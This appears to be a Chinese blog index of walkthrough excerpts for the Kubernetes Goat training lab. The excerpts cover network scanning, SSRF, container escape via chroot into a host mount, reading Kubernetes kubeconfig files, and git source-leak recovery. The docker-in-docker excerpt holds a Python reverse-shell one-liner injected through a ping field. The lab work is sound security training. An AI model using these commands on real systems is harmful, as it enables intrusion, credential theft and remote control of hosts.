Kubernetes Goat 11 - Kubernetes namespaces bypass
Kubernetes namespaces bypassKubernetes 命名空间绕过 运行hacker-container镜像 1kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh 报错的话运行这一条 1kubectl run -it hacker-container-2 --image=madhuakula/hacker-container -- sh 查看ip 寻找redis 1nmap -sT -open -p 6379 10.244.0.0/16 连接redis 1redis-cli -h 10.244.0.7 集群内还有许多其他的服务和资源,比如ElasticSearch,Mongo等等
Kubernetes Goat 08 & 09 & 10
08:NodePort exposed servicesNodePort 暴露的服务12345nmap 192.168.72.129 -sT -p30000-32767PORT STATE SERVICE30003/tcp open amicon-fpsu-ra 09:Helm v2 tiller to PwN the clusterHelm v2 tiller 风险 此方案已被弃用,供学习参考,环境默认是 Helm v3版本,可以安装Helm v2版本来实验 10:Analyzing crypto miner container分析被部署挖矿软件的容器镜像 查看工作任务详情 1kubectl describe job batch-check-job 获取Pod信息 1kubectl get pods --namespace default -l "job-name=batch-check-job" 获取pod信息manifest并分析 1kubectl get pod batch-check-job-gpfq4 -o yaml...
Kubernetes Goat 07 - Attacking private registry
Attacking private registry攻击私有仓库 http://192.168.72.129:1235/ http://192.168.72.129:1235/v2/ http://192.168.32.130:1235/v2/\_catalog,查看docker仓库信息 根据官方文档:https://docs.docker.com/registry/ 1http://192.168.72.129:1235/v2/_catalog/adhuakula/k8s-goat-users-repo/manifests/latest 往下翻一翻配置文件
Kubernetes Goat 06 - Kubernetes CIS benchmarks analysis
Kubernetes CIS benchmarks analysisK8S CIS基线分析1cd /kubernetes-goat 12kubectl apply -f scenarios/kube-bench-security/node-job.yamlkubectl apply -f scenarios/kube-bench-security/master-job.yaml 1kubectl get pod 1kubectl logs -f kube-bench-master-xf2x9 结束
Kubernetes Goat 05 - Docker CIS benchmarks analysis
Docker CIS benchmarks analysisDocker CIS 基线分析 首先需要部署docker bench security将它启动为DaemonSet 1cd kubernetes-goat/ 1kubectl apply -f scenarios/docker-bench-security/deployment.yaml 运行容器应用 1kubectl get pod 1kubectl exec -it docker-bench-security-6npjf -- sh 等待结果就好了 结束
Kubernetes Goat 04 - Container escape to the host system
Container escape to the host system 查看环境 查看挂载 mount/df -Th 找到挂载目录ls -la /host-system 切换到宿主机的目录1chroot /host-system bash docker ps 查看k8s配置文件 1cat /etc/kubernetes/controller-manager.conf 可使用kubectl利用配置文件获取集群内的所有资源。 1kubectl --kubeconfig /etc/kubernetes/kubelet.conf get all -n kube-system 1kubectl --kubeconfig /etc/kubernetes/kubelet.conf get pod
Kubernetes Goat 03 - SSRF in the Kubernetes (K8S) world
SSRF in the Kubernetes (K8S) world SSRF 可以使用bp抓包爆破判断端口号 找到5000端口 根据回显继续访问 找到新的路径 继续往下拼接 就这样以此类推 1http://metadata-db/latest/secrets/kubernetes-goat 解密 1azhzLWdvYXQtY2E5MGVmODVkYjdhNWFlZjAxOThkMDJmYjBkZjljYWI= 1k8s-goat-ca90ef85db7a5aef0198d02fb0df9cab
Kubernetes Goat 02 - docker in docker
Kubernetes Goat 02 - docker in docker 靶机ip:http://192.168.72.129:1231/ 能执行ping命令 职业习惯加个管道符 反弹shell 尝试使用bash来反弹没有成功 使用python反弹执行成功 监听 执行命令 1192.168.88.43 | python -c 'import os,pty,socket;s=socket.socket();s.connect(("192.168.88.43",6666));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")' 判断环境 ls -la mount docker in docker “Docker in Docker” (DinD) 是一种在 Docker 容器内部运行 Docker 的实践方法。它允许您在一个容器中运行和管理 Docker 容器,而无需在宿主机上安装 Docker。 doc...
Kubernetes Goat 01
Kubernetes Goat 01 开发人员倾向于将敏感信息提交给版本控制系统。当我们转向 CI/CD 和 GitOps 系统时,我们往往会忘记识别代码和提交中的敏感信息。让我们看看能不能在这里找到一些很酷的东西! 提示源码泄露 目标网站 http://192.168.72.129:1230/ 开始测试目录扫描 git泄露 利用工具:https://github.com/arthaud/git-dumper goat是自定义下载的文件夹 1python git_dumper.py http://192.168.72.129:1230/ goat git命令 windows没有git环境 git下载:https://git-scm.com/ 查看log 使用git checkout查看 git checkout -f 进行切换 ls -la查看所有文件 查看.env 结束
Kubernetes Goat靶场搭建
前提 前置条件:确保您拥有 Kubernetes 集群的管理员访问权限并安装了kubectl k8s环境可参考:https://blog.putdown.top/archives/a31b6d49.html 介绍 靶场地址:https://github.com/madhuakula/kubernetes-goat 实验环境:安装minikube后的 Ubuntu 22.04的虚拟机 靶场内容12345678910111213141516171819202122Sensitive keys in codebasesDIND (docker-in-docker) exploitationSSRF in the Kubernetes (K8S) worldContainer escape to the host systemDocker CIS benchmarks analysisKubernetes CIS benchmarks analysisAttacking private registryNodePort exposed servicesHelm v2 tiller t...
